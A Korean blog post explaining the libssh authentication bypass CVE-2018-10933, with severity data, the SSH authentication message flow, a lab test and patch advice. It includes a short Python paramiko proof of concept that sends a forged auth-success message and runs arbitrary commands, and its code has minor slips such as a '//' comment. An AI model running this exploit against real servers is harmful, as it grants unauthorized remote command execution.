IT/Security

CVE-2018-10933 libssh authentication bypass

김반장님 2022. 10. 6. 17:43
반응형
Description

  원격 로그인 프로토콜인 Secure Shell(SSH) 구축에 사용되는 모듈 libssh 이용 서버의 인증 우회공격 취약점(로그인 인증 과정 없이 원격코드 실행 가능) 공격 호스트에서 “SSH2_MSG_USERAUTH_SUCCESS” 메시지를 전송하여 이미 인증이 성공적으로 이루졌다는 패킷 전달로 인증우회

  • CVE ID : CVE-2018-10933 VCSS 3.X Severity and Metrics:
  • CNA : Red Hat, Inc.
  • Base Score : 9.1 CRITICAL
  • Vector : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
  • 영향받는 Version
    • libssh version >= 0.6
    • libssh version < 0.7.6
    • libssh version < 0.8.4
  • 해당 취약점은 libSSH가 인증을 진행하기 위해 SSH_MSG_USERAUTH_REQUEST 상태로 대기중 일때 PoC 코드에서 전송된 SSH_MSG_USERAUTH_SUCCESS 패킷을 서버가 수신하게 되면 공격자가 정상적으로 인증되었다고 판단하여 연결을 허용하게 된다.

 

 

  • SSH_MSG_USERAUTH_REQUEST(50) : 클라이언트가 보내는 인증 요청 방식
  • SSH_MSG_USERAUTH_FULLURE(51) : 하나 이상의 인증 방법을 요구할 경우
  • SSH_MSG_USERAUTH_SUCCESS(52) : 서버가 인증을 수용

 

정상적인 인증과정
  1. 클라이언트가 서버에게 인증 방법 문자열이 ‘none’인 SSH_MSG_USERAUTH_REQUEST 를 요청
  2. 서버는 클라이언트가 보낸 사용자 이름이 유효한지 여부 확인
    • 유효하지 않을 시 SSH_MSG_USERAUTH_FAILURE를 보내고 연결 설정을 종료하며, 서버는 SSH_MSG_USERAUTH_REQUEST를 전송
  3. 클라이언트는 인증 방법 중 하나를 선택하고, 선택된 인증방법과 필요한 필드와 함께 SSH_MSG_USERAUTH_REQUEST를 전송
  4. 서버는 클라이언트가 보낸 사용자 이름이 유효한지 여부 확인
  5. 요구된 모든 인증에 성공하면, 서버는 SSH_MSG_USERAUTH_SUCCESS 메시지를 송신하고 인증 프로토콜 종료

 

Testing Vulnerability

Attacker :Kali linux (192.168.46.130)
Victim : Ubuntu 16.04.6 LTS (192.168.46.137) -> Docker_apache solr 8.1.1 (172.17.0.3)

#!/usr/bin/python3

import sys
import paramiko
import socket

s = socket.socket()
s.connect(("192.168.46.142",2222))
m = paramiko.message.Message()
t = paramiko.transport.Transport(s)
t.start_client()
m.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)  // 인증 우회를 위한 코드
t._send_message(m)
c = t.open_session(timeout=5)
c.exec_command(sys.argv[1])
out = c.makefile("rb",2048)
output = out.read()
out.close()
print (output)

 


원격코드 실행 명령 중 서버와 통신 내역 확인 시, 암호화된 패킷으로 인패 원격실행 명령(hostname) 부분을 확인할 수 없으나 서버측에서 노출되는 libssh 정보 문자열 SSH-2.0-libssh_0.8.3 과 공격자 측에서 Poc 실행 중 사용되는 파이썬 모듈명 paramisk 가 확인된다.

  • paramiko : 파이썬에서 가장 많이 사용되는 SSH Library 모듈(telnet 은 telnetlib)
Solution
  • 제조사 홈페이지를 참고하여 최신버전으로 보안 업데이트 수행
  • 0.7.6 버전으로 업데이트(0.7번대 및 이전 버전 사용자)
  • 0.8.4 버전으로 업데이트(0.8번대 및 이전 버전 사용자)

 

References
반응형

'IT > Security' 카테고리의 다른 글

OSI 보안 구조  (0) 2021.07.03
정보보호 관리  (0) 2021.06.15
정보보호의 목표  (0) 2021.06.08
정보보호 정의  (0) 2021.06.07
버스 시스템의 정의 및 종류  (0) 2021.04.02